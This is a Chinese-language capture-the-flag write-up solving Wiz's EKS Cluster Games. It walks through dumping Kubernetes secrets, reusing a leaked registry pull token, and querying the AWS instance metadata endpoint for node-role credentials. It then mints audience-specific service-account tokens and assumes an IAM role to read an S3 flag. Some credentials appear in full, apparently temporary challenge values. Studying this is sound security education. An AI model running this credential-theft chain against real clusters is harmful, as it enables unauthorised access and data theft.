WIZ EKS Cluster Games WP

本文作者:Esonhugh




# TL;DR

研究云安全的 WIZ 公司发布了新一个关于 AWS 云上集群 EKS 的挑战赛 EKSClusterGame (opens new window) 。和之前 BigIAM Challenge (纯粹的云服务商攻防)略有不同,这次的挑战赛更加专注于 k8s 云原生利用以及集群服务 AWS 这类云服务的联邦攻击手段。

题外话,知道这个小游戏也是因为关注了 kubecon 2023 Shanghai 那会儿和议题 ETCD 后利用的演讲者 @LoBuHi (opens new window) (from NCC Group) 的推特,发现最近出了新的比赛。

同时,这次 game 中,他也帮助了我很多。

# Level1: Secret

权限很简单就是当前命名空间(NS)下的 secrets get list 权限,非常简单,直接一条指令把 secret 中的数据拿出来即可。

kubectl get secrets -o yaml

apiVersion: v1
items:
- apiVersion: v1
  data:
    flag: d2l6X2Vrc19jaGFs{base64 encode data}lZF9zZWNyZXRfYWNjZXNzfQ==
  kind: Secret
  metadata:
    creationTimestamp: "2023-11-01T13:02:08Z"
    name: log-rotate
    namespace: challenge1
    resourceVersion: "890951"
    uid: 03f6372c-b728-4c5b-ad28-70d5af8d387c
  type: Opaque
kind: List
metadata:
  resourceVersion: ""
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

不过需要注意的是 secrets 中的值是经过 base64 编码的,浅浅的解一下。

wiz_eks_challenge{omg_over_privileged_secret_access}
1

# Level2: ImageInspection

第二题开始贴合实战场景了,我们具有的权限为:

pod: [get, list]
secret: get
1
2

这个权限下,我们无法列出 secrets,具体的 list get 的区别可以看看 stackoverflow 社区的小讲解:stackoverflow.com/questions/58159866/get-vs-list-in-kubernetes-rbac (opens new window)

所以我们可以先查看一下 pod 里有什么先。

kubectl get pods -o yaml

apiVersion: v1
items:
- apiVersion: v1
  kind: Pod
  metadata:
	....
	name: database-pod-2c9b3a4e
    namespace: challenge2
  spec:
    containers:
    - image: eksclustergames/base_ext_image
      imagePullPolicy: Always
      name: my-container
      ......
    imagePullSecrets:
    - name: registry-pull-secrets-780bab1d
    nodeName: ip-192-168-21-50.us-west-1.compute.internal
    volumes:
    - name: kube-api-access-cq4m2
      projected:
        defaultMode: 420
        sources:
        - serviceAccountToken:
            expirationSeconds: 3607
            path: token
......
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

可以发现这里只有一个 pod,并且有 imagePullSecret 字段。 直接去获取对应的 secret 进行解密处理。登陆 docker 后,pull 当前 pod 的 image

kubectl get secrets registry-pull-secrets-780bab1d -o yaml

[base64 decoded]
{"auths": {"index.docker.io/v1/": {"auth": "ZWtzY2x1c3RlVI4NW1H{base64 enode}w=="}}}

# reuse the cred
docker login -u eksclustergames
Password: dckr_pat_YtncV-R85mAAAAAAAACo
1
2
3
4
5
6
7
8

docker 登陆完成后,pull 当前 pod 的 images

docker pull docker.io/eksclustergames/base_ext_image
1

审计整个 image 创建历史

 docker history  add093cd268d --no-trunc
# no trunc 防止过长的字符串被切割成小段
IMAGE                                                                     CREATED        CREATED BY                                                                                                                                                            SIZE      COMMENT
sha256:add093cd268deb7817aee1887b620628211a04e8733d22ab5c910f3b6cc91867   4 days ago     CMD ["/bin/sleep" "3133337"]                                                                                                                                          0B        buildkit.dockerfile.v0
<missing>                                                                 4 days ago     RUN sh -c echo 'wiz_eks_challenge{nothing_can_be_said_to_be_certain_except_death_taxes_and_the_exisitense_of_misconfigured_imagepullsecret}' > /flag.txt # buildkit   124B      buildkit.dockerfile.v0
<missing>                                                                 3 months ago   /bin/sh -c #(nop)  CMD ["sh"]                                                                                                                                         0B
<missing>                                                                 3 months ago   /bin/sh -c #(nop) ADD file:7e9002edaafd4e4579b65c8f0aaabde1aeb7fd3f8d95579f7fd3443cef785fd1 in /                                                                      4.26MB
1
2
3
4
5
6
7
wiz_eks_challenge{nothing_can_be_said_to_be_certain_except_death_taxes_and_the_exisitense_of_misconfigured_imagepullsecret}
1

# Other found

# Kubernetes service account changes with version

  • 1.20(含 1.20)之前的版本,在创建 sa 时会自动创建一个 secret,然后这个会把这个 secret 通过投射卷挂载到 pod 里,该 secret 里面包含的 token 是永久有效的。
  • 1.21~1.23 版本,在创建 sa 时也会自动创建 secret,但是在 pod 里并不会使用 secret 里的 token,而是由 kubelet 到 TokenRequest API 去申请一个 token,该 token 默认有效期为一年,但是 pod 每一个小时会更新一次 token。
  • 1.24 版本及以上,在创建 sa 时不再自动创建 secret 了,只保留由 kubelet 到 TokenRequest API 去申请 token

# Level3: Attack ECR

这里我们具有的权限为:

pod: [get, list]

# but we are in the EKS and aws
1
2
3

需要注意的是 我们当前环境存在于 pod 中,而 pod 存在于 eks 中,也在 aws 上 ,这意味着我们可以尝试探索一下 是否存在 eks 绑定 role 的情况。

通过探测 http://169.254.169.254/latest/meta-data/iam/security-credentials/ 可以获知以下 endpoint

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/eks-challenge-cluster-nodegroup-NodeInstanceRole
{"AccessKeyId":"ASIA2A[AKID]XMYUFF5J","Expiration":"2023-11-03 10:24:09+00:00","SecretAccessKey":"YPaIqb[AKSK]+I3nF","SessionToken":"FwoGZX[LONG ST]NrD6dG"}
1
2

看看我是谁

# 一顿 export 猛如虎
export AWS_ACCESS_KEY_ID=ASIA[AKID]5J
export AWS_SECRET_ACCESS_KEY=YPa[AKSK]+I3nF
export AWS_SESSION_TOKEN=Fw[ST]rD6dG
aws sts get-caller-identity
{
    "UserId": "AROA2AVYNEVMQ3Z5GHZHS:i-0cb922c6673973282",
    "Account": "688655246681",
    "Arn": "arn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/i-0cb922c6673973282"
}
1
2
3
4
5
6
7
8
9
10

题目描述希望我们找到 image 并且再次进行审计, 顺带提及,这里为了方便,安装好了 crane ,这次是 2 的升级版。

docs.aws.amazon.com/cli/latest/reference/ecr/get-login-password.html (opens new window)

aws 获取 docker 登陆 token 的文档在这里。 参考 example 直接填写,并且将 docker 替换为 crane

Crane 参考本小节下方 other information 的 crane 部分

aws ecr get-login-password|crane auth login 688655246681.dkr.ecr.us-west-1.amazonaws.com -u AWS --password-stdin

# 成功后只有这一行
2023/MM/DD HH:mm:ss logged in via /home/user/.docker/config.json
1
2
3
4

登陆成功后,直接对远程镜像进行解析。

crane config 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01

{
  "architecture": "amd64",
  "config": {
    "Env": [
      "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
    ],
    "Cmd": [
      "/bin/sleep",
      "3133337"
    ],
    "ArgsEscaped": true,
    "OnBuild": null
  },
  "created": "2023-11-01T13:32:07.782534085Z",
  "history": [
    {
      "created": "2023-07-18T23:19:33.538571854Z",
      "created_by": "/bin/sh -c #(nop) ADD file:7e9002edaafd4e4579b65c8f0aaabde1aeb7fd3f8d95579f7fd3443cef785fd1 in / "
    },
    {
      "created": "2023-07-18T23:19:33.655005962Z",
      "created_by": "/bin/sh -c #(nop) CMD [\"sh\"]",
      "empty_layer": true
    },
    {
      "created": "2023-11-01T13:32:07.782534085Z",
      "created_by": "RUN sh -c #[email protected] ARTIFACTORY_TOKEN=wiz_eks_challenge{the_history_of_container_images_could_reveal_the_secrets_to_the_future} ARTIFACTORY_REPO=base_repo /bin/sh -c pip install setuptools --index-url intrepo.eksclustergames.com # buildkit # buildkit",
      "comment": "buildkit.dockerfile.v0"
    },
    {
      "created": "2023-11-01T13:32:07.782534085Z",
      "created_by": "CMD [\"/bin/sleep\" \"3133337\"]",
      "comment": "buildkit.dockerfile.v0",
      "empty_layer": true
    }
  ],
  "os": "linux",
  "rootfs": {
    "type": "layers",
    "diff_ids": [
      "sha256:3d24ee258efc3bfe4066a1a9fb83febf6dc0b1548dfe896161533668281c9f4f",
      "sha256:9057b2e37673dc3d5c78e0c3c5c39d5d0a4cf5b47663a4f50f5c6d56d8fd6ad5"
    ]
  }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47

得到 flag

wiz_eks_challenge{the_history_of_container_images_could_reveal_the_secrets_to_the_future}
1

# Other Information

# Crane

这是一个类似 docker client 的工具,但是可以处理一些远程的容器镜像的管理

Doc: github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md (opens new window)

CheatSheet 如下

github.com/google/go-containerregistry/blob/main/cmd/crane/recipes.md (opens new window)

# Level4: AWS to EKS

这部分中的集群内,我们是一个没有任何权限的服务账号。所以 kubectl 基本无用了,但是这一层解锁了 AWS 凭据。 再看描述,说明需要提权到被限制的 k8s node 节点权限 (EKS层面)

kubectl auth can-i --list
1

习惯性的,先看看我们在 aws 里是谁

aws sts get-caller-identity

{
    "UserId": "AROA2AVYNEVMQ3Z5GHZHS:i-0cb922c6673973282",
    "Account": "688655246681",
    "Arn": "arn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/i-0cb922c6673973282"
}
1
2
3
4
5
6
7

这里的 ARN (opens new window) 可以获知到不少信息

arn:partition:service:region:account-id:resource-type/resource-id
arn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/i-0cb922c6673973282

partition: aws
service: sts
region:
account-id: 688655246681
resource-type: assumed-role
resource-id: eks-challenge-cluster-nodegroup-NodeInstanceRole/i-0cb922c6673973282

cluster-name: eks-challenge-cluster
1
2
3
4
5
6
7
8
9
10
11

检查一下 aws eks 指令下面需要的东西还有能做的事

  1. 查询 AWS eks cli 文档 (opens new window)
  2. 我们的目的是升级 kubectl 交互的权限,可以找到文章 Hacktricks-Cloud EKS 后利用 (opens new window)

# method 1 update kubeconfig

这里看起来需要处理一下 kubeconfig 了

整理一下

describe-cache-parametersapiVersion: v1
clusters:
  - cluster:
      insecure-skip-tls-verify: true
      server: https://10.100.0.1
    name: arn:aws:eks:us-west-1:688655246681:cluster/eks-challenge-cluster
contexts:
  - context:
      cluster: arn:aws:eks:us-west-1:688655246681:cluster/eks-challenge-cluster
      user: arn:aws:eks:us-west-1:688655246681:cluster/eks-challenge-cluster
    name: arn:aws:eks:us-west-1:688655246681:cluster/eks-challenge-cluster
current-context: arn:aws:eks:us-west-1:688655246681:cluster/eks-challenge-cluster
kind: Config
preferences: {}
users:
  - name: arn:aws:eks:us-west-1:688655246681:cluster/eks-challenge-cluster
    user:
      exec:
        apiVersion: client.authentication.k8s.io/v1beta1
        args:
          - --region
          - us-west-2
          - eks
          - get-token
          - --cluster-name
          - eks-challenge-cluster
        command: aws
        env:
          - name: AWS_ACCESS_KEY_ID
            value: ASIA2AVYNEVMR5BQAJIY
          - name: AWS_SECRET_ACCESS_KEY
            value: eI2Wc1KGCP+7wePJKgHYeM7iqkR0ojLjlsR5cNHm
          - name: AWS_SESSION_TOKEN
            value: FwoGZXIvYXdzEDoaDBNUSCM4abbuuVepLyK3AYzIOalPXv44GzNtt2zYb4ukzwkyPMhA2hI2nCuuLJW4+ENOXqdBgJChbyirWoclfV9bGFkcFxFaslXw6Pf405KRk8blXx/iqmQCuGIGXAZomAsp8y6DtVMJ8T7nRKytFcMplBG4N5XWsM8VF8XfVXwskyKn6X37LxUSiqbI4lNRt/OWcxe4lD3MwZODuvUQvm9GhuUHxZi4IiYE2Hkt3HsGKiNM/GCXaMU1nCapjPufufumNx464Cj055mqBjIt+KQHLUq4AsMMmE0baixd2L9DAVhsECSYlx+uhDbEnjYuumPJVyVjfl5YlK0z
        interactiveMode: IfAvailable
        provideClusterInfo: false
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
export KUBECONFIG=<above-content.yaml>
1

# Method 2 direct use token

aws eks get-token --cluster-name eks-challenge-cluster
{
    "kind": "ExecCredential",
    "apiVersion": "client.authentication.k8s.io/v1beta1",
    "spec": {},
    "status": {
        "expirationTimestamp": "2023-XX-XXTXX:XX:XXX",
        "token": "k8s-aws-v1.aHR0{TOKEN_URL IN BASE64ed}A3OTFhMDI4NjEy"
    }
}
1
2
3
4
5
6
7
8
9
10
alias kubectl="kubectl --token={status.token k8s-aws-v1.aHR0{TOKEN_URL IN BASE64ed}A3OTFhMDI4NjEy}"
1

# Final

这里我们如果不确定有什么权限可以通过 下面的指令 进行查看

kubectl auth can-i --list

Resources                                       Non-Resource URLs   Resource Names     Verbs
pods                                            []                  []                 [get list]
secrets                                         []                  []                 [get list]
serviceaccounts                                 []                  []                 [get list]
1
2
3
4
5
6

再获取一下 flag

kubectl get secrets -o yaml
1
wiz_eks_challenge{only_a_real_pro_can_navigate_IMDS_to_EKS_congrats}
1

# Level5: back AWS with OIDC

这个层级是 Level 4 的更进一步。

{
  "Version": "2012-10-17",
  "Statement":
    [
      {
        "Effect": "Allow",
        "Principal":
          {
            "Federated": "arn:aws:iam::688655246681:oidc-provider/oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589",
          },
        "Action": "sts:AssumeRoleWithWebIdentity",
        "Condition":
          {
            "StringEquals":
              {
                "oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589:aud": "sts.amazonaws.com",
	            // 这里没有更近一步限制 https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse
	            // 通过搜索这段 OIDC 字符串 或 Policy
              },
          },
      },
    ],
}
---
{
  "Policy":
    {
      "Statement":
        [
          {
            "Action": ["s3:GetObject", "s3:ListBucket"],
            "Effect": "Allow",
            "Resource":
              [
                "arn:aws:s3:::challenge-flag-bucket-3ff1ae2",
                "arn:aws:s3:::challenge-flag-bucket-3ff1ae2/flag",
              ],
              // 目标的 flag 位置 在 s3
              // bucket: challenge-flag-bucket-3ff1ae2
              // path: flag
          },
        ],
      "Version": "2012-10-17",
    },
}
---
{
  "secrets": ["get", "list"],
  "serviceaccounts": ["get", "list"],
  "pods": ["get", "list"],
  "serviceaccounts/token": ["create"], // 这里限制写的不对
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52

这里限制更为严格, 通过 L4 提及的 kubectl 权限枚举后可以发现 我们其实只能创建 serviceaccount 名字为 debug-sa 的 token

Resources                                       Non-Resource URLs   Resource Names     Verbs
serviceaccounts/token                           []                  [debug-sa]         [create]
pods                                            []                  []                 [get list]
secrets                                         []                  []                 [get list]
serviceaccounts                                 []                  []                 [get list]
-----
apiVersion: v1
items:
  - apiVersion: v1
    kind: ServiceAccount
    metadata:
      annotations:
        description: This is a dummy service account with empty policy attached
        eks.amazonaws.com/role-arn: arn:aws:iam::688655246681:role/challengeTestRole-fc9d18e
      creationTimestamp: "2023-10-31T20:07:37Z"
      name: debug-sa
      # kubectl create token --serviceaccount debug-sa
      namespace: challenge5
      resourceVersion: "671929"
      uid: 6cb6024a-c4da-47a9-9050-59c8c7079904
  - apiVersion: v1
    kind: ServiceAccount
    metadata:
      annotations:
	    # 需要模拟的对应的 Role 权限 IAM
        eks.amazonaws.com/role-arn: arn:aws:iam::688655246681:role/challengeEksS3Role
      creationTimestamp: "2023-10-31T20:07:34Z"
      name: s3access-sa
      namespace: challenge5
      resourceVersion: "671916"
      uid: 86e44c49-b05a-4ebe-800b-45183a6ebbda
kind: List
metadata:
  resourceVersion: ""
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

这里我们重新理解一下我们的环境。

我们可以通过搜索官方给出的 aws 配置中的 oidc aws k8s 等关键词,可以轻松找到错误配置。

当然对方给出的示例一类的内容,有通过创建 Pod 的,手动处理的不多甚至很少。

很显然,在正常情况下,我们是无法使用 kubectl create token 直接生成的 k8s service account 令牌访问 aws(无 audience)。

有人通过创建 pod 绑定服务账户后,成功滥用了它。

cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse (opens new window) 【Hacktricks 这里没有写的非常清楚如何利用,但是说明了这里存在这样的漏洞】

既然如此一定有什么办法,让我通过请求 K8S api 服务, 来委托 k8s 去请求 aws ,并且对 k8s 中的 debug-sa 进行身份验证并获取 aws Web 凭证,这是拿到 aws session 的第一步。

因为这是向 k8s 请求,所以我们需要着重检查 Kubernetes 的文档,直接搜索关键词 OIDC 可能不会有什么结果,这里我们需要注意一些关于在 Kubernetes 中 使用配置 AWS 访问的 OIDC 的信息。我们将注意到一些 Audience 关键词,例如 配置 pod 中的服务账户 (opens new window) 这和其他人的文章,题目提供的配置信息是基本重合,我们即使没有接触过“受众” 这一类概念,或许也可以推理得到相同的结果。

kubectl create token --help

example
  # Request a token with a custom audience
  kubectl create token myapp --audience https://example.com
	.....
Options:
    --audience=[]:
        Audience of the requested token. If unset, defaults to requesting a token for use with the
        Kubernetes API server. May be repeated to request a token valid for multiple audiences.
	....
1
2
3
4
5
6
7
8
9
10
11

接下来使用方法就非常简单了。

kubectl create token debug-sa-token --audience sts.amazonaws.com
1

接下来解决了 aws token 的问题,下一步就是模拟 IAM 权限了。

这个稍微查询一下文档基本也问题不大,就是使用 web token 拿到 STS 临时凭据了。

查询 STS 部分文档,可以发现 action::AssumeRoleWithWebIdentity (opens new window) 明确提到 OIDC token 也可以通过这个函数进行鉴权, cli 操作如下 https://docs.aws.amazon.com/cli/latest/reference/sts/assume-role-with-web-identity.html

构建命令:

aws sts assume-role-with-web-identity --role-arn arn:aws:iam::688655246681:role/challengeEksS3Role --role-session-name sessionABC --web-identity-token ${Token Previous Step}
1

AWS 返回 STS 后,export 成环境变量,直接拷贝出 flag

aws s3 cp s3://challenge-flag-bucket-3ff1ae2/flag /tmp/flag
1
wiz_eks_challenge{w0w_y0u_really_are_4n_eks_and_aws_exp1oitation_legend}
1

# Other Information

# What's OIDC

官方给出的策略中, OIDC 的配置表明 K8S <=> AWS 之间存在 OIDC 相互的“信任”关系 ,本质上说就是可以通过 OAuth V2 拓展的手段,可以使得 AWS 中的 IAM 用户,角色,权限和 Kubernetes 集群中的用户(服务账户),权限,角色之间相互打通,从一个平台验证到另一个平台。

# Summary

云服务很大程度上都是在基于凭据的基础上进行的,云对于大部分凭据的使用方法是签名和签名算法。

AKSK、AKSK/STS 这两类凭据是云服务和云厂商服务之间交互的重要凭据。

当 AKSK 并不能如预期时获取的时候,云平台云服务之间的角色绑定失误,以及类似的 OAuth 认证信任关系滥用等等,涉及第三方角色权限的机制时 STS token 常常会发挥一些意想不到的作用。 这类是更为复杂更容易隐藏的攻击向量。

当然由于 AWS 一类云服务厂商才是实际存储和保存 IAM 以及账户信任的人,在攻击者没有适当权限的时候,几乎无法枚举对应的关系,对攻击者来说,获取这类信息存在一定的学习成本和对于目标云环境理解的成本的。其信息收集难度,还是比 linpeas linux 本地提权一把索,bloodhound 六级域控管理员要大很多的。

# 鸣谢 Thanks

Wiz @Wiz.io

LoBuhi @lobuhisec

# Finisher Banner

eksclustergames.com/finisher/AYwUrrIK (opens new window)


原文地址:github.com/Esonhugh/WizEKSClusterGame (opens new window)